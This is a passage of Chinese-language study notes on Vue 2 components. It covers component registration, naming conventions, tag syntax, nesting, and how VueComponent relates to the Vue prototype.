        myName:'lhd',
        age:19
      }
    }
  })
  new Vue({
    el:"#root",
    components:{
      // 2.注册组件
      myinfo:myinfo    // 第一个myInfo是定义的标签名，第二个是组件名
      // 同名可以直接写一个名字=> myinfo
    }
  })
</script>

关于组件名：

一个单词组成：

第一种写法(首字母小写)：info

第二种写法(首字母大写)：Info

多个单词组成：

第一种写法(kebab-case命名)：my-info

第二种写法(CamelCase命名)：MyInfo（需要Vue脚手架支持）

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

关于组件标签：

第一种写法：<school></school>

第二种写法：<school/>

备注：不用使用脚手架时，<school/>会导致后续组件不能渲染。

组件嵌套

在父组件中注册子组件，子组件的组件标签写在父组件的template中。

// 示例，school组件里面有student
const student = Vue.extend({
  template:`<div><h2>我是学生组件</h2></div>`,
})
const school = Vue.extend({
   // 子组件注册给哪个父组件，就嵌套在哪个副组件里面
  template:`<div><h1>我是学校组件</h1><student></student></div>`,
  components:{
    // 注册学生组件
    student
  }
})
new Vue({
  el:"#root",
  components:{
    // 注册学校组件
    school  
  }
})

VueComponent

1.school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

2.我们只需要写，Vue解析是会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

4.关于this指向：

(1).组件配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent的实例对象】

(2).new Vue(options)配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】

5.VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。Vue的实例对象，以后简称vm。

6.因为组件是可复用的 Vue 实例，所以它们与 new Vue 接收相同的选项，例如 data、computed、watch、methods 以及生命周期钩子等。

仅有的例外是像 el 这样根实例特有的选项。

所以vm与vc属性配置并不是一模一样，尽管vc底层复用了很多vm的逻辑

一个重要的内置关系

VueComponent.prototype.__proto__Vue.prototype

为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法